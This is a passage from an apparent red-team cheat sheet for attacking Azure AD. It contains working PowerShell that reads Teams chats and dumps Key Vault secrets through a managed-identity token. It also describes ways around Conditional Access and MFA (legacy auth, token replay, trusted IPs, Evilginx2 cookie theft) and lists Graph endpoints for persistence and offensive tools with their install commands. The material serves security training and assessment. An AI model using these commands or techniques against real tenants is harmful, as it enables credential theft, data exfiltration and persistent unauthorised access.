$chats | ForEach-Object { (Invoke-RestMethod "https://graph.microsoft.com/v1.0/chats/$($_.id)/messages?`$top=50" -Headers $h).value | Select createdDateTime,@{N="From";E={$_.from.user.displayName}},@{N="Msg";E={$_.body.content -replace "<[^>]+>",""}} }

# Key Vault — from Managed Identity inside VM
$kvToken = (Invoke-RestMethod "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" -Headers @{Metadata="true"}).access_token
(Invoke-RestMethod "https://VAULT_NAME.vault.azure.net/secrets?api-version=7.4" -Headers @{Authorization="Bearer $kvToken"}).value | ForEach-Object {
    $s = Invoke-RestMethod "$($_.id)?api-version=7.4" -Headers @{Authorization="Bearer $kvToken"}
    Write-Host "$($_.id.Split('/')[-1]): $($s.value)"
}
// 10 — Conditional Access Bypass

Conditional Access Bypass

What is Conditional Access and why bypass it?

Conditional Access (CA) is Azure AD's policy engine. It evaluates signals at authentication time — who is the user, what device are they on, what is their location, what app are they accessing — and decides whether to grant access, require MFA, or block entirely. Most organizations have CA policies that require MFA for all users, block legacy authentication, or restrict access to compliant devices. Understanding CA is essential — it's often the only thing standing between a valid credential and a fully compromised session.

# Enumerate CA policies (requires Security Reader or higher)
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" -Headers $h).value | Where-Object {$_.state -eq "enabled"} | Select displayName,state | Format-Table

# Check trusted named locations (IPs that bypass MFA)
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" -Headers $h).value | Where-Object {$_.isTrusted} | ForEach-Object {
    Write-Host "Trusted: $($_.displayName)"; $_.ipRanges | Select -Expand cidrAddress
}

Legacy Auth Bypass

IMAP, SMTP, POP3, EWS use Basic Auth — they bypass modern CA/MFA entirely if not explicitly blocked. Test with curl -u user:pass imaps://outlook.office365.com/

Token Replay

CA is evaluated at token issuance, not at every API call. A token stolen after the victim satisfied all CA requirements can be replayed from any IP, any device, bypassing all policies.

Named Location Exclusions

If certain IPs are trusted and excluded from MFA requirements, routing through those IPs bypasses MFA. Look for large CIDR ranges, public cloud IP blocks marked as trusted.

AiTM (Evilginx2)

Victim completes full auth including MFA through your proxy. You capture the post-MFA session cookie. The resulting session is already past all CA evaluation — no bypass needed.

// 11 — Graph API Quick Reference

Key Microsoft Graph Endpoints

All endpoints are prefixed with https://graph.microsoft.com/v1.0. Requires a valid Bearer token.

GET /me
Current authenticated user info
GET /users
All users in tenant
GET /groups
All security groups
GET /applications
App registrations
GET /servicePrincipals
Enterprise apps & SPs
GET /directoryRoles
Azure AD role objects
GET /directoryRoles/{id}/members
Members of a role
GET /roleManagement/directory/roleAssignments
All role assignments
GET /identity/conditionalAccess/policies
CA policies
GET /devices
Registered devices
GET /auditLogs/signIns
Sign-in logs
GET /users/{id}/messages
User mailbox (Mail.Read perm)
GET /users/{id}/drive/root/search(q='…')
Search OneDrive files
GET /sites/{id}/drives
SharePoint document libraries
GET /users/{id}/chats
Teams chats (Chat.Read perm)
POST /servicePrincipals/{id}/addPassword
Add credential to SP
POST /invitations
Invite guest user
POST /applications/{id}/addPassword
Add secret to app registration

Dangerous Graph Permissions (Application-Level)

Permission ID                          Name                               Impact
9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8  RoleManagement.ReadWrite.Directory  Assign Global Admin
1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9  Application.ReadWrite.All            Control all apps/SPs
741f803b-c850-494e-b5df-cde7c675a1ca  User.ReadWrite.All                   Reset any user's password
62a82d76-70ea-41e2-9197-370581804d09  Group.ReadWrite.All                  Modify all groups
dc50a0fb-09a3-484d-be87-e023b12c6440  Mail.ReadWrite                       Read/send all email
9492366f-7969-46a4-8d15-ed1a20078fff  Sites.ReadWrite.All                  Full SharePoint access
// 12 — MITRE ATT&CK Mapping

MITRE ATT&CK for Enterprise

IDTechniquePhaseNotes
T1078.004Valid Accounts: CloudInitial AccessStolen Azure AD credentials; output of successful spray
T1566.002Phishing: Spearphishing LinkInitial AccessDevice code + consent phishing links
T1110.003Password SprayingCredential AccessLow-and-slow via MSOL or modern auth endpoints
T1528Steal Application Access TokenCredential AccessToken theft from disk cache, memory, AiTM
T1550.001Use Alternate Auth: App TokenLateral MovementReplaying stolen refresh/access tokens
T1606.002Forge Web Credentials: SAMLCredential AccessGolden SAML with stolen ADFS signing cert
T1098.001Account Manipulation: Credential AddPersistenceAdd secret/cert to service principal
T1098.003Account Manipulation: Add RolesPrivEsc / PersistenceAssign Global Admin via Graph API
T1136.003Create Account: CloudPersistenceCreate backdoor admin user or guest invite
T1087.004Account Discovery: CloudDiscoveryEnumerate users, groups, roles via Graph
T1484.002Domain Policy ModificationDefense EvasionPTA backdoor, federated identity addition
T1567.002Exfil to Cloud StorageExfiltrationDownload SharePoint/OneDrive via Graph
T1199Trusted RelationshipInitial AccessADFS federation, B2B guest, PTA agent abuse
// 13 — Tools Reference

Tools Reference

ToolBest Used ForInstall
AADInternals
github.com/Gerenios/AADInternals
Recon, PTA spy, sync creds, Golden SAML, PRT ops, password resets, token generationInstall-Module AADInternals
ROADtools / roadtx
github.com/dirkjanm/ROADtools
Full tenant recon with GUI, FOCI exchange, PRT abuse, device enrollment, token decodepip install roadtools roadtx
AzureHound
github.com/BloodHoundAD/AzureHound
BloodHound data collection for Azure AD + RBAC attack path mapping./azurehound list
GraphSpy
github.com/RedByte1337/GraphSpy
Interactive Graph API browser — read mail, files, chats, check permissionspython graphspy.py
MicroBurst
github.com/NetSPI/MicroBurst
Subdomain enum, public blob discovery, anonymous resource accessImport-Module MicroBurst.psm1
Evilginx2
github.com/kgretzky/evilginx2
AiTM phishing — steal post-MFA session cookies, bypass all CA./evilginx2 -p ./phishlets/
MSOLSpray
github.com/dafthack/MSOLSpray
Password spraying against Office 365 with lockout-aware delaysInvoke-MSOLSpray
o365creeper
github.com/LMGsec/o365creeper
Unauthenticated email validation — build valid target list before sprayingpython o365creeper.py -f emails.txt
PowerZure
github.com/hausec/PowerZure
Post-exploitation — Key Vault, storage, runbooks, role escalationImport-Module PowerZure.ps1
ADFSpoof
github.com/fireeye/ADFSpoof
Golden SAML token forging with stolen ADFS signing certificatepython ADFSpoof.py -b cert.pfx ...
For deeper learning: Dr. Nestori Syynimaa's AADInternals blog, Dirk-jan Mollema's research at dirkjanm.io, and the HackTheBox Academy "Attacking Azure AD" module are the best current resources for hands-on Azure AD offensive research.